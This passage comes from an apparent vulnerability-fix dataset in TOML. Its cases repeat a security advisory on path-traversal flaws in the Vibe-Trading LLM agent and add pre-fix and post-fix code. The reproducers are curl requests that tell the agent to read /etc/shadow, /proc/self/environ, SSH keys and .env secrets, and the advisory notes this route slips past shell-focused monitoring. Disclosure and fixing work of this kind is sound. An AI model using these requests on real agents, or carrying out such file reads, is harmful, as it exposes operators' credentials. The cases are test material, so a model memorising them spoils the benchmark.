address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_execute_run"
+function_lines = [[171, 313]]
+id = "hkuds-vibe-trading-c6867edb99dcb1d1"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/swarm/runtime.py"
+post_fix = " def _execute_run(\n self,\n run: SwarmRun,\n cancel_event: threading.Event,\n include_shell_tools: bool = False,"
+pre_fix = " def _execute_run(self, run: SwarmRun, cancel_event: threading.Event) -> None:\n \"\"\"Core orchestration loop (runs in background thread).\n\n Steps:\n 1. Update run status to running\n 2. Initialize TaskStore, save all tasks\n 3. Compute topological layers\n 4. For each layer:\n a. Check cancellation\n b. Submit all tasks to ThreadPoolExecutor\n c. Collect results, resolve dependencies, update store\n 5. Update run status to completed/failed\n\n Args:\n run: SwarmRun to execute.\n cancel_event: Threading event for cancellation signalling.\n \"\"\"\n run_id = run.id\n run_dir = self._store.run_dir(run_id)\n\n # Mark as running\n run.status = RunStatus.running\n self._store.update_run(run)\n self._emit_event(run_id, self._make_event(\"run_started\"))\n\n # Initialize task store\n task_store = TaskStore(run_dir)\n for task in run.tasks:\n task_store.save_task(task)\n\n # Build agent lookup\n agent_map: dict[str, SwarmAgentSpec] = {a.id: a for a in run.agents}\n\n # Compute execution layers\n layers = topological_layers(run.tasks)\n task_summaries: dict[str, str] = {}\n all_succeeded = True\n\n try:\n for layer_idx, layer_task_ids in enumerate(layers):\n # Check cancellation between layers\n if cancel_event.is_set():\n logger.info(\"Run %s cancelled at layer %d\", run_id, layer_idx)\n self._cancel_remaining_tasks(task_store, layer_task_ids, run.tasks)\n all_succeeded = False\n break\n\n self._emit_event(\n run_id,\n self._make_event(\n \"layer_started\",\n data={\"layer\": layer_idx, \"tasks\": layer_task_ids},\n ),\n )\n\n # Execute all tasks in this layer in parallel\n layer_results = self._execute_layer(\n run=run,\n task_store=task_store,\n agent_map=agent_map,\n layer_task_ids=layer_task_ids,\n task_summaries=task_summaries,\n run_dir=run_dir,\n cancel_event=cancel_event,\n )\n\n # Process results\n for tid, result in layer_results.items():\n # Accumulate token counts to run totals\n run.total_input_tokens += result.input_tokens\n run.total_output_tokens += result.output_tokens\n\n if result.status in (\"completed\", \"timeout\", \"token_limit\"):\n task_summaries[tid] = result.summary\n now_iso = datetime.now(timezone.utc).isoformat()\n task_store.update_status(\n tid, TaskStatus.completed,\n summary=result.summary,\n completed_at=now_iso,\n artifacts=result.artifact_paths,\n worker_iterations=result.iterations,\n )\n resolve_dependencies(run_dir / \"tasks\", tid)\n self._emit_event(\n run_id,\n self._make_event(\"task_completed\", task_id=tid,\n data={\"status\": result.status,\n \"iterations\": result.iterations,\n \"input_tokens\": result.input_tokens,\n \"output_tokens\": result.output_tokens}),\n )\n else:\n all_succeeded = False\n task_store.update_status(\n tid, TaskStatus.failed,\n error=result.error or \"Unknown error\",\n completed_at=datetime.now(timezone.utc).isoformat(),\n worker_iterations=result.iterations,\n )\n self._emit_event(\n run_id,\n self._make_event(\"task_failed\", task_id=tid,\n data={\"error\": result.error,\n \"input_tokens\": result.input_tokens,\n \"output_tokens\": result.output_tokens}),\n )\n\n except Exception as exc:\n logger.error(\"Run %s failed with exception\", run_id, exc_info=True)\n all_succeeded = False\n self._emit_event(\n run_id,\n self._make_event(\"run_error\", data={\"error\": str(exc)}),\n )\n\n # Finalize run\n final_status = (\n RunStatus.cancelled if cancel_event.is_set()\n else RunStatus.completed if all_succeeded\n else RunStatus.failed\n )\n run.status = final_status\n run.completed_at = datetime.now(timezone.utc).isoformat()\n\n # Sync tasks back to run model\n run.tasks = task_store.load_all()\n\n # Set final report from aggregation task (last task) if available\n if task_summaries:\n last_layer = layers[-1] if layers else []\n for tid in last_layer:\n if tid in task_summaries:\n run.final_report = task_summaries[tid]\n break\n\n self._store.update_run(run)\n self._emit_event(run_id, self._make_event(\"run_completed\", data={\"status\": final_status.value}))\n\n # Cleanup cancel event and live callback\n with self._lock:\n self._cancel_events.pop(run_id, None)\n self._live_callbacks.pop(run_id, None)\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_get_registry"
+function_lines = [[62, 73]]
+id = "hkuds-vibe-trading-c92f45b95e1d0b54"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/mcp_server.py"
+post_fix = "def _get_registry():\n global _registry\n if _registry is None:\n from src.tools import build_registry\n _registry = build_registry(include_shell_tools=_include_shell_tools)\n return _registry\n\n\n# ---------------------------------------------------------------------------\n# Skill tools\n# ---------------------------------------------------------------------------\n"
+pre_fix = "def _get_registry():\n global _registry\n if _registry is None:\n from src.tools import build_registry\n _registry = build_registry()\n return _registry\n\n\n# ---------------------------------------------------------------------------\n# Skill tools\n# ---------------------------------------------------------------------------\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown 